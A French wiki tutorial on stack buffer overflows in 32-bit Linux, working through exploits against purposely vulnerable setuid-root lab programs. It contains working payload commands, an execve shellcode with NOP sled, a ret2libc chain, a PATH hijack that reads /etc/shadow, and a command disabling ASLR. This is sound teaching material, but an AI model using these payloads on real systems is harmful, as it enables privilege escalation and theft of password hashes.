Outils d'utilisateurs

Outils du Site


failles_app:bof

Ceci est une ancienne révision du document !


Les buffer overflows

Introduction

Le buffer overflow fait partie de ces attaques assez ingrates, plutôt difficiles à réaliser et extrêmement simples à éviter. Malgré tout, sa puissance mérite que l'on s'intéresse à lui. Ce bug étant de nos jours extrêmement documenté, je vais essayer d'être le plus précis et le plus personnel possible.
Petites précisions :

  • la syntaxe sera celle de AT&T­
  • la désactivation de ASLR est sans doute nécessaire
     # echo 0 > /proc/sys/kernel/randomize_va_space 

Sommaire

  • 1. Intel x86
  • 2. Des fonctions vulnérables
  • 3. Corruption de base
  • 4. I'll be back
    • 4.1 Call me
    • 4.2 Shellcode
    • 4.3 Ret2libc
  • 5. Monsieur, chez moi ça marche pas !

1. Intel x86

Le but de cette partie n'est pas d'être extrêmement technique et de dégoûter le lecteur, et il y a fort à parier que ce dernier connaît déjà probablement tout ce qui sera dit ici.
La mémoire adressable lors de l'exécution d'un programme est divisée en plusieurs sections, avec, depuis les adresses les plus hautes vers les adresses les plus basses :

  • la partie kernel
  • la partie stack (celle qui nous intéresse tout particulièrement)
  • la partie heap, qui n'échappe pas aux buffer overflows
  • la partie data
  • La partie text avec le code

Les parties stack (pile) et heap (tas) ont la particularité d'avoir un contenu changeant au cours de l'exécution. Lorsqu' une fonction est exécutée, la pile contiendra les paramètres ainsi que les variables locales. Parallèlement à la pile, nous trouvons les registres, dont voici 3 d'entre eux :

  • %esp, appelé stack pointer, pointant toujours sur le haut de la pile, c'est-à-dire vers les adresses les plus basses (la pile grandit vers le bas)
  • %ebp, appelé base pointer, pointe à la base de la fonction en cours. Les autres adresses sont souvent exprimées en fonction de sa valeur
  • ­%eip, appelé instruction pointer, pointant sur l'adresse de la prochaine instruction


Lors de l'appel d'une fonction (instruction call), le déroulement est le suivant :

  • pousser chaque paramètre au sommet de la pile dans l’ordre inverse de celui du code
  • pousser l'adresse de l'instruction à laquelle revenir à la fin de la fonction appelée

Puis du côté de la fonction appelée, ce que l'on appelle le prologue est effectué : ­ * pousser le pointeur de base (push ebp) ­ * mettre le stack pointer au même niveau que le pointeur de base (mov ebp, esp) Puis, lorsque la fonction se termine, l'épilogue sert à vider l'espace pris par la fonction et à revenir au bon endroit dans la fonction appelante en effectuant l'inverse du prologue : ­ * restaurer le stack pointer à la valeur du base pointer(mov esp, ebp) ­ * faire sauter la valeur en haut de la pile vers le pointeur de base, pour le restaurer à la valeur qu'il avait avant le prologue (pop ebp). L'instruction leave est un raccourci pour ces 2 étapes. ­ * faire sauter la valeur en haut de pile (supposée être une adresse) et y sauter (ret). Voici un exemple tiré du mémoire de Florian Maury (lien tout en bas du document) qui explique tout ceci bien mieux que moi.

Imaginons la fonction suivante :

maFonctionTest(1,2,3) ;

à l'adresse 0xcafebabe. Les 3 arguments de cette fonction vont donc être empilés de la droite vers la gauche. En assembleur, cela se traduit par cette configuration :

pushl $3 ; pousse la constante 3, d'où le symbole $
pushl $2 ; idem
pushl $1 ; idem
call 0xcafebabe ; appel de maFonctionTest
add %esp, 0xc ; alloue 0xc = 12 bytes (3 int de 4 bytes)

(En fait, théoriquement le nombre de bytes alloués est correct, mais dans les faits cela ne correspond toujours exactement. Cela n'a aucune importance dans notre exemple cependant).
Puis, après le prologue, nous avons dans la pile :

Valeur X ←  variable locale quelconque
Ancien EBP ←  %ebp = %esp
Adresse de retour
Argument 1
Argument 2
Argument 3
...

Cette méthode s'oppose à la méthode fastcall, qui passe les arguments via les registres. Cela se produit notamment pour les appels systèmes et la pratique est courante lors des attaques Return Oriented Programming.
Concernant les variables locales, on sait combien des bytes leurs sont alloués en général en regardant la valeur soustraite à l'aide de l'instruction sub, un peu après l'épilogue. En effet, avant l'allocation, rappelons que %esp = %ebp. Comme la pile grandit vers le bas, si %esp est décrémenté, il y a un espace créé entre %ebp et le haut de la pile, où se placeront les variables locales. Là encore, la somme totale des bytes des variables locales calculée d'après le code ne va pas toujours correspondre au nombre de bytes réellement alloués.

2. Des fonctions vulnérables

A la base d'un buffer overflow, il y a souvent une fonction vulnérable, c'est­-à-­dire une fonction peu soucieuse de la taille des strings qu'elle manipule, comme (entre autres) : ­ * la tristement célèbre gets, lisant une ligne dans le standard input (stdin)

  • strcpy, copiant un string dans un buffer
  • strcat, effectuant la concaténation de deux strings

Ces fonctions ont été réécrites depuis et ne devraient plus jamais être utilisées dans une release. Il s'agit sans doute là de la meilleure protection possible contre les buffer overflows.

3. Corruption de base

Supposons que nous soyons en possession d'un programme dont nous connaissons le code, et pour l'exemple, nous allons nous baser sur celui­-ci :

bufferOverflow.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/**gcc ­-m32 ­-o bufferOverflow bufferOverflow.c ­-fno­-stack­-protector **/
int main(int argc, char ** argv){
        int checkOverflow = 0xb00bb00b;
        char vulnBuffer[42];
        strcpy(vulnBuffer, argv[1]);
        if (checkOverflow == 0xbabebabe){
                printf("OK");
        }
        else{
                printf("checkOverflow:%x Try again\n", 
checkOverflow);
        }
        return 0;
}

Le développeur ayant pensé à nous, il a indiqué la commande utilisée lors de la compilation. Notre but ici va être simplement d'imprimer le message « OK » dans la console, et nous verrons dans la partie suivante comment vraiment tirer profit d'un tel code (en faisant apparaître une shell en root par exemple …).
Nous voyons donc ici que l'argument passé en paramètre est copié dans un buffer dont la capacité est de 42 caractères. Nous voyons aussi que pour afficher le message « OK » il nous faut changer la valeur de checkOverflow.
Naïvement, lançons le programme avec la commande suivante :

$ ./bufferOverflow $(python -­c "print 'A' * 10")
        checkOverflow: b00bb00b Try again

Puis, recommençons avec :

$ ./bufferOverflow $(python ­-c "print 'A' * 42")
        checkOverflow: b00bb000 Try again

Lors de la première tentative, nous pouvons voir que la valeur de checkOverflow reste inchangée mais que ce n'est pas le cas la seconde fois, puisque le null byte de la string saisie en paramètre vient écraser le dernier byte de checkOverflow.
Le reste de l'exploitation est assez trivial, puisqu'un débordement supplémentaire de 4 octets suffit pour écraser totalement checkOverflow. Little-­endian obligeant, on a donc :

$ ./bufferOverflow $(python -­c "print 'A' * 42 + '\xbe\xba\xbe\xba'")
        OK

Bon, corrompre des données, c'est assez intéressant, mais on peut faire évidemment bien mieux …
Si l'on tape la commande suivante :

$ ls -alt bufferOverflow
        -rwsr-­xr-­x 1 root root 5192 févr.  7 10:47 bufferOverflow

on s'aperçoit que le programme appartient à root et qu'il possède le bit suid, comme en témoigne le petit S. Ce bit de contrôle permet une exécution d'un programme au nom d'un autre utilisateur, en l’occurrence le propriétaire du fichier. Dans le cas présent, cela signifie que le processus exécutant ce programme effectuera ses actions avec les privilèges de l'administrateur. A partir de là, l'attaque peut faire bien plus de ravages si l'attaquant peut utiliser ces privilèges pour exécuter des commandes système ou des programmes malicieux

4. I'll be back

Dans cette partie, le but va être de présenter des techniques de buffer overflow utilisables en fonction du contexte et des protections mises en place. Dans cette partie nous partirons du principe que le but de l'attaquant va être d'écraser une adresse de retour afin de rediriger le flux d'exécution du programme vulnérable, afin d'ouvrir une shell en root par exemple.

4.1 Call me

Nous allons dans cette partie utiliser le code suivant :

callme.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/** gcc -­m32 -­o callme callme.c ­-fno­-stack-­protector **/
 
void callMe(){
        system("date");
}
 
void printBuffer(){
        int john = 0x12345678;
        char buffer[42];
        scanf("%s", buffer);
        printf("Buffer:%s \n", buffer);
}
 
int main(int argc, char ** argv){
        printBuffer();
        return 0;  
}

En sachant que :

$ ls -­alt callme
­        -rwsr-­xr-­x 1 root root 5120 févr.  7 11:06 callme

Ici, le but est assez simple : appeler la fonction callMe. Nous savons que le buffer, en débordant, va écraser john (le pauvre). Voici donc la configuration face à la quelle nous sommes : En grandissant encore plus, buffer va donc écraser la valeur pointée par %ebp, puis l'adresse de retour. Lorsque la fonction se terminera, le processeur va dépiler chaque variable locale, puis récupérer la valeur de l'adresse de retour (dans main), alors au sommet de la pile, pour sauter à sauter à cette adresse. Si l'adresse est corrompue et invalide il se produira alors une erreur de segmentation. En revanche, si l'adresse est corrompue MAIS valide, le processeur ira exécuter ce qui se trouve à cette adresse.
Pour commencer, lançons GDB et désassemblons la fonction printBuffer:

$ gdb ./callme
...
(gdb) disas printBuffer
Dump of assembler code for function printBuffer:
   0x08048493 <+0>: push   %ebp
   0x08048494 <+1>: mov    %esp,%ebp
   0x08048496 <+3>: sub    $0x38,%esp
   0x08048499 <+6>: movl   $0x12345678, -­0xc(%ebp)
   0x080484a0 <+13>:sub    $0x8,%esp
   0x080484a3 <+16>:lea    -0x36(%ebp),%eax
   0x080484a6 <+19>:push   %eax
   0x080484a7 <+20>:push   $0x8048595
   0x080484ac <+25>:call   0x8048370 <__isoc99_scanf@plt>
   0x080484b1 <+30>:add    $0x10,%esp
   0x080484b4 <+33>:sub    $0x8,%esp
   0x080484b7 <+36>:lea    ­-0x36(%ebp),%eax
   0x080484ba <+39>:push   %eax
   0x080484bb <+40>:push   $0x8048598
   0x080484c0 <+45>:call   0x8048330 <printf@plt>
   0x080484c5 <+50>:add    $0x10,%esp
   0x080484c8 <+53>:leave
   0x080484c9 <+54>:ret
End of assembler dump.

Nous pouvons voir à la ligne <+45> qu'il se produit un appel à la fonction printf, et qu'auparavant, 2 valeurs ont été empilées : ce sont les paramètres de la fonction. Les paramètres étant empilés dans l'ordre inverse, nous déduisons que l'adresse de notre buffer est %eax, soit -0x36(%ebp) autrement dit %ebp – 54 (54 = 0x36). En sachant ceci, nous savons qu'il faut :

  • 54 bytes pour remplir le buffer et écraser john (écart entre l’extrémité du buffer et %ebp)
  • 4 bytes pour écraser le pointeur de base
  • 4 bytes pour écraser l'adresse de retour avec l'adresse de callMe

Pour déterminer cette dernière :

(gdb) disas callMe
Dump of assembler code for function callMe:
   0x0804847b <+0>:	push   %ebp
   0x0804847c <+1>:	mov    %esp,%ebp
   0x0804847e <+3>:	sub    $0x8,%esp
   0x08048481 <+6>:	sub    $0xc,%esp
   0x08048484 <+9>:	push   $0x8048580
   0x08048489 <+14>:	call   0x8048340 <system@plt>
   0x0804848e <+19>:	add    $0x10,%esp
   0x08048491 <+22>:	leave  
   0x08048492 <+23>:	ret    
End of assembler dump.

C'est donc l'adresse à <+0>, 0x0804847b.

A présent, nous savons que notre payload s'obtient comme ceci en faisant attention à bien écrire l'adresse de retour en rouge ci-dessus en little-endian : Endianness (Wikipedia) : En informatique, certaines données telles que les nombres entiers peuvent être représentées sur plusieurs octets. L'ordre dans lequel ces octets sont organisés en mémoire ou dans une communication est appelé endianness.
Dans le cas présent, nous sommes sur une architecture little-endian, ce qui signifie que l'octet de poids faible est placé en premier. Par exemple le nombre 0xABCDEF01 sera stocké sous le forme 01 EF CD AB

$ cat <(python -c "print 'A' * 58 + '\x7b\x84\x04\x08'")|./callme
        Buffer:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{� 
        mardi 7 février 2017, 14:57:03 (UTC+0100)
        Erreur de segmentation

Comme nous le voulions, le programme exécute la fonction callMe, comme nous le prouve la date dans la console ! A présent, nous pouvons exploiter une autre faille de ce programme (avec le bit suid rappelons le!). Nous voyons en effet que la fonction system exécute la commande date sans chemin absolu. Il nous suffit donc de créer un programme nommé date et de modifier la variable d'environnement PATH pour faire effectuer une commande malicieuse au programme avec les privilèges de root.
Premièrement, il s'agit de créer dans un répertoire où nous avons les droits d'écriture le script suivant (que l'on nommera donc date, et admettons que nous le placions dans /tmp):

#!/bin/sh
cat "/etc/shadow"

Puis, il nous faut ajouter au début de la variable d'environnement PATH le chemin de ce répertoire :

$ echo $PATH
        /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
$ export PATH='/tmp':$PATH
$ echo $PATH
        /tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Il ne reste donc plus qu'à relancer la commande:

$ cat <(python -c "print 'A' * 58 + '\x7b\x84\x04\x08'")|./callme
        Buffer:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{� 
        root:$x$hash_du_mot_de_passe_de_root_ !:::
        ...
        Erreur de segmentation

Et voila le travail!

4.2 Shellcode

Dans ce deuxième exemple, nous allons utiliser un programme où la fonction malicieuse que nous souhaitons exécuter n'existe pas. Pour cela, nous allons devoir injecter nous-même le code malicieux. Toutefois, cette technique nécessite une désactivation de ASLR.
L’Address Space Layout Randomization (ASLR) ou distribution aléatoire de l'espace d'adressage est une technique permettant de placer de façon aléatoire les zones de données dans la mémoire virtuelle. (cher Wikipedia, on ne te remerciera jamais assez). Cette protection rend encore plus difficile les buffer overflows, où la règle d'or est avant tout la précision. Toutefois, cette protection n'est pas infaillible et ne suffit généralement pas à rendre un exécutable invulnérable. Par défaut cette protection est activée, et a ici volontairement été enlevée avec la commande donnée dans l'introduction.
Nous allons nous baser sur le code suivant (notez au passage que la protection Never eXecutable rendant la pile non-exécutable a été enlevée pour les besoins de l'attaque comme le prouve la commande utilisée à la compilation) :

vuln.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
/** gcc -m32 -o shellcode vuln.c -z execstack -fno-stack-protector **/
 
void printBuffer(){
        char name[30];
        printf("Who is the best ?\n");
        scanf("%s", name);
        if (!strcmp("John", name)){
                printf("Yes you are right!\n");
        }
        else{
                printf("%s = n00b, John is the best\n", name);
        }
}
 
int main(int argc, char ** argv){
        printf("Hello world!\n");
        printBuffer();
        return 0;
}

Comme le dit Wikipedia, un shellcode « est une chaîne de caractères qui représente un code binaire exécutable. À l'origine destiné à lancer un shell ('/bin/sh' sous Unix ou command.com sous DOS et Microsoft Windows par exemple), le mot a évolué pour désigner tout code malveillant qui détourne un programme de son exécution normale. ». Dans notre cas, il s'agira effectivement d’ouvrir une shell avec les droits de root. Il existe une multitude de shellcode disponibles sur le Web, et pour l'exemple nous allons nous servir du shellcode suivant :

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6 \x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

http://shell-storm.org/shellcode/files/shellcode-811.php

La technique que nous allons montrer est l'injection par les variables d'environnement. Ces variables sont chargées en mémoire au lancement du programme, et bien que la plupart d'entre elles ne soient pas utilisées la plupart du temps, elles représentent tout de même des données placées dans la mémoire et potentiellement dangereuses, puisque maîtrisables par n'importe qui.
Pour voir où elles se situent, lançons GDV, et breakons dès le début de la main :

$ gdb ./shellcode
…
(gdb) print main
$1 = {<text variable, no debug info>} 0x8048515 <main>
(gdb) break *0x8048515
Breakpoint 1 at 0x8048515
(gdb) run
Starting program: /home/enzo/Documents/art/shellcode 

Breakpoint 1, 0x08048515 in main ()
(gdb) x/10x $esp
        0xffa6a4fc:0xf75f4a63 0x00000001 0xffa6a594 0xffa6a59c
        0xffa6a50c:0xf77b979a 0x00000001 0xffa6a594 0xffa6a534
        0xffa6a51c:0x0804985c 0x0804822c
(gdb) x/x 0xffa6a594
        0xffa6a594:0xffa6c62b
(gdb) x/s 0xffa6c62b
        0xffa6c62b: "/home/enzo/Documents/art/shellcode"
(gdb) x/x 0xffa6a59c
        0xffa6a59c: 0xffa6c64e
(gdb) x/s 0xffa6c64e
        0xffa6c64e:	"XDG_VTNR=7"
x/s *((char **)environ)
        0xffa6c64e:	"XDG_VTNR=7"

Concentrons nous sur le bloc obtenu avec la commande x/10x $esp:
Nous avons en deuxième position la valeur 0x00000001, qui est le nombre d'arguments passés en paramètre. (valeur de argc). Ici il n'y en a qu'un et c'est le nom du programme.
Ensuite, nous avons 0xffa6a594, qui est l'adresse à laquelle se situe le pointeur sur le nom du programme.
Enfin, nous avons la valeur 0xffa6a59c, qui est la même chose mais pour les variables d'environnement, comme nous le prouvent les deux dernières commandes.
Autrement dit, voici ce que nous avons dans la pile au lancement de la fonction main : Ensuite le prologue permettra de pousser au sommet de la pile (à droite sur le schéma donc) le pointeur de base, puis %ebp et %esp seront mis à la même valeur etc, etc. Notez au passage que la main a bien elle aussi une adresse de retour :

(gdb) x/s 0xf75f4a63
        0xf75f4a63 <__libc_start_main+243>:	"\211\004$\350Ew\001"

La difficulté d'un buffer overflow réside en partie dans la précision qu'il exige, et le moindre décalage d'un seul octet suffit à provoquer une jolie erreur de segmentation. Afin de déterminer les adresses nécessaires lors d'une attaque, il est donc nécessaire d'utiliser un debugger. Cependant, le problème est que le debugger ajoute certaines variables d'environnement, ce qui décale les adresses. Embêtant quant il s'agit d'être précis et que le debugger est essentiel à la préparation de l'attaque …
Par pallier à ce problème et apporter un peu de souplesse, nous allons ici utiliser la technique de la NOP sled. Il s'agit d'aligner une certaine quantité de caractères 0x90, correspondant à l'instruction NOP (Not an Operation) avant le shellcode. Lorsque cette instruction est rencontrée, on passe simplement à la suivante jusqu'à rencontrer une instruction autre que celle ci. Ainsi, l'imprécision due au décalage des adresses causé par le debugger est largement compensée par la tolérance apportée par la NOP sled.
Commençons donc par ajouter une variable d'environnement de la façon suivante, avec une NOP sled d'une taille appréciable suivie du shell code :

$ export PAYLOAD=$(python -c "print '\x90' * 100 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")

Puis, lançons GDB et breakons au niveau de la fonction main. Une fois le programme lancé avec la commande run et arrivé au point d'arrêt, lançons la commande :

gdb) show env
        ...
        PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
        GDM_LANG=fr_FR.utf8
        GDMSESSION=default
        SHLVL=1
        XDG_SEAT=seat0
        HOME=/home/enzo
        XDG_DATA_DIRS=/usr/share/gnome:/usr/local/share/:/usr/share/
        PAYLOAD=����������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���
        _=/usr/bin/gdb
        LINES=24
        COLUMNS=80

Nous souhaitons récupérer l'adresse de la variable PAYLOAD créée précédemment, et pour cela nous allons devoir tâtonner un peu avec la commande :

(gdb) x/s *((char **)environ+X)

où X est un nombre permettant de passer d'une variable d'environnement à une autre. Dans l'exemple qui est le notre, on finit par trouver :

(gdb) x/s *((char **)environ+36)
        0xffffdf00:	"PAYLOAD=", '\220' <repeats 100 times>, "\061\300Ph//shh/bin\211\343PS\211\341\260\v̀"
(gdb) x/s *((char **)environ+36)+8
        0xffffdf08:	'\220' <repeats 100 times>, "\061\300Ph//shh/bin\211\343PS\211\341\260\v̀"

Le décalage de 8 caractères lors de la seconde commande permet donc de trouver l'adresse du tout début de la NOP sled. Il suffit ensuite de choisir un nombre en 0 et 100 (la taille de la NOP sled) et de l'ajouter à l'adresse pour être quasiment sûr de tomber dans la NOP sled lors de l'attaque sans debugger. Pour l'exemple qui est le notre, nous avons choisi l'adresse 0xffffdf30.
Ensuite, désassemblons le code de la fonction printBuffer:

(gdb) disas printBuffer
Dump of assembler code for function printBuffer:
   0x080484ab <+0>:	push   %ebp
   0x080484ac <+1>:	mov    %esp,%ebp
   0x080484ae <+3>:	sub    $0x28,%esp
   0x080484b1 <+6>:	sub    $0xc,%esp
   0x080484b4 <+9>:	push   $0x80485e0
   0x080484b9 <+14>:	call   0x8048370 <puts@plt>
   0x080484be <+19>:	add    $0x10,%esp
   0x080484c1 <+22>:	sub    $0x8,%esp
   0x080484c4 <+25>:	lea    -0x26(%ebp),%eax
   0x080484c7 <+28>:	push   %eax
   0x080484c8 <+29>:	push   $0x80485f2
   0x080484cd <+34>:	call   0x80483a0 <__isoc99_scanf@plt>
   0x080484d2 <+39>:	add    $0x10,%esp
   0x080484d5 <+42>:	sub    $0x8,%esp
   0x080484d8 <+45>:	lea    -0x26(%ebp),%eax
   0x080484db <+48>:	push   %eax
   0x080484dc <+49>:	push   $0x80485f5
   0x080484e1 <+54>:	call   0x8048350 <strcmp@plt>
   0x080484e6 <+59>:	add    $0x10,%esp
   0x080484e9 <+62>:	test   %eax,%eax
   0x080484eb <+64>:	jne    0x80484ff <printBuffer+84>
   0x080484ed <+66>:	sub    $0xc,%esp
   0x080484f0 <+69>:	push   $0x80485fa
   0x080484f5 <+74>:	call   0x8048370 <puts@plt>
   0x080484fa <+79>:	add    $0x10,%esp
   0x080484fd <+82>:	jmp    0x8048513 <printBuffer+104>
   0x080484ff <+84>:	sub    $0x8,%esp
   0x08048502 <+87>:	lea    -0x26(%ebp),%eax
   0x08048505 <+90>:	push   %eax
   0x08048506 <+91>:	push   $0x804860d
   0x0804850b <+96>:	call   0x8048360 <printf@plt>
   0x08048510 <+101>:	add    $0x10,%esp
   0x08048513 <+104>:	leave  
   0x08048514 <+105>:	ret    
End of assembler dump.

A la ligne <+45>, nous trouvons l'instruction lea -0x26(%ebp),%eax, et donc, de la même manière que tout à l'heure, nous déduisons qu'il faut 38 (0x26 en hexadécimal) caractères pour remplir le buffer, 4 octets supplémentaires pour écraser le pointeur de base et 4 octets pour écraser l'adresse de retour. Vérifions cela :

$ python -c "print 'A'* 42 + 'BBBB'" > args.txt
$ gdb ./shellcode

Ensuite, plaçons un breakpoint à la fin de printBuffer et exécutons :

(gdb) break *0x08048514
        Breakpoint 1 at 0x8048514
(gdb) run < args.txt
        Starting program: /home/enzo/Documents/art/shellcode < args.txt
        Hello world!
        Who is the best ?
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB = n00b, John is the best
        
        Breakpoint 1, 0x08048514 in printBuffer ()
(gdb) x/x $esp
        0xffd823fc:	0x42424242

La dernière commande nous indique que la valeur 0x42424242 (soit l'équivalent ASCII de BBBB en hexadécimal) se situe au sommet de la pile au moment d'exécuter l’instruction ret, ce qui signifie que l'adresse de retour a bien été écrasée par les 4 B. Nous n'avons donc plus qu'à remplacer ces B par l'adresse 0xffffdf30 pointant dans la NOP sled.
Quittons GDB, et lançons :

$ cat <(python -c "print 'A'* 42 + '\x30\xdf\xff\xff'") - |./shellcode
        Hello world!
        Who is the best ?
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0��� = n00b, John is the best
whoami
        root

Et voila ! Notez qu'une technique alternative consiste à injecter le shellcode directement dans le buffer lorsque la taille de ce dernier le permet. L'attaque se déroule ensuite de la même manière.

4.3 Ret2libc

Pour cette troisième attaque, nous allons utiliser le même code que dans l'exemple d'avant, mais en laissant par défaut la stack non exécutable, empêchant donc la technique des variables d'environnement (ASLR reste désactivé) :

gcc -m32 -o ret2libc vuln.c -fno-stack-protector

Comme le nom de l'attaque l'indique, le but va être de rediriger le programme vers une fonction de la librairie C, en particulier la fonction system. Nous savons donc déjà qu'il faut 42 bytes pour écraser le pointeur de base, cela nous fera gagner du temps. Lançons le debugger pour trouver l'adresse de cette fonction system.

(gdb) break main
        Breakpoint 1 at 0x8048523
(gdb) run
        Starting program: /home/enzo/Documents/art/ret2libc 

        Breakpoint 1, 0x08048523 in main ()
(gdb) print system
        $1 = {<text variable, no debug info>} 0xf7e4b3e0 <system>

Parfait, nous sommes déjà en possession de l'adresse de retour (0xf7e4b3e0)! Cependant, il nous faut ajouter encore une chose : la fonction system attend un paramètre, et juste avant son appel, le haut de la pile doit être :

<addr. system> ←%eip
<    JUNK    > ← ou une adresse de retour valide, peu importe
<  argument  > ← adresse de '/bin/sh'

Avec GDB, cherchons dans la libc si la string « /bin/sh » est déjà mappée, et par chance :

(gdb) find __libc_start_main, +10000000, "/bin/sh"
        0xf7f6c551
        warning: Unable to access 16000 bytes of target memory at 0xf7fb68d9, halting search.
        1 pattern found.

A présent, ne reste plus qu'à lancer la commande :

$ cat <(python -c "print 'A'* 42 + '\xe0\xb3\xe4\xf7'+ 'XXXX' + '\x51\xc5\xf6\xf7'") - |./ret2libc
        Hello world!
        Who is the best ?
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����XXXXQ��� = n00b, John is the best
whoami
        root

BOOM !

5. Monsieur, chez moi ça marche pas !

Si vous testez ces techniques sur d'autres programmes, c'est effectivement possible que l'attaque ne marche pas et qu'une erreur de segmentation persiste. Dans ce cas, voici quelques conseils :

  • pensez à vérifier quelles sont les protections mises en place (enfin, ça c'est mieux de le faire avant, ça évite de perdre du temps …)
  • faites attention aux pointeurs. S'ils sont écrasés par le buffer, l'erreur de segmentation risque de survenir avant que l'exploit se produise. Il faut alors faire attention à l'écraser avec une valeur valide (sa propre valeur est le mieux)
  • si l'attaque fonctionne avec le debugger mais pas sans (ça arrive, et il n'y a rien de plus rageant!), utilisez les commandes ptrace, strace, ou ltrace afin d'avoir quelques indications sur le problème.
  • n'oubliez pas le tiret avant le pipe de séparation des commandes, il permet de garder le standard input ouvert, sinon la shell se fermerait instantanément.

Ressources principales : Exploitation avancée de buffer overflow : https://lasec.epfl.ch/~oechslin/advbof.pdf Étude de techniques d'exploitation de vulnérabilités des exécutables sous GNU/Linux IA-32 et de méthodes de protection associées: https://repo.zenk-security.com/Techniques%20d.attaques%20%20.%20%20Failles/Etude%20de%20techniques%20d%20exploitation%20de%20vulnerabilites%20des%20executables%20sous%20GNU.Linux%20IA-32%20et%20de%20methodes%20de%20protection%20associees.pdf Buffer overflow attack – Computerphile: https://www.youtube.com/watch?v=1S0aBV-Waeo Return Oriented Programming : https://www.exploit-db.com/docs/28479.pdf Ret2libc : https://www.exploit-db.com/docs/17131.pdf

failles_app/bof.1486807619.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)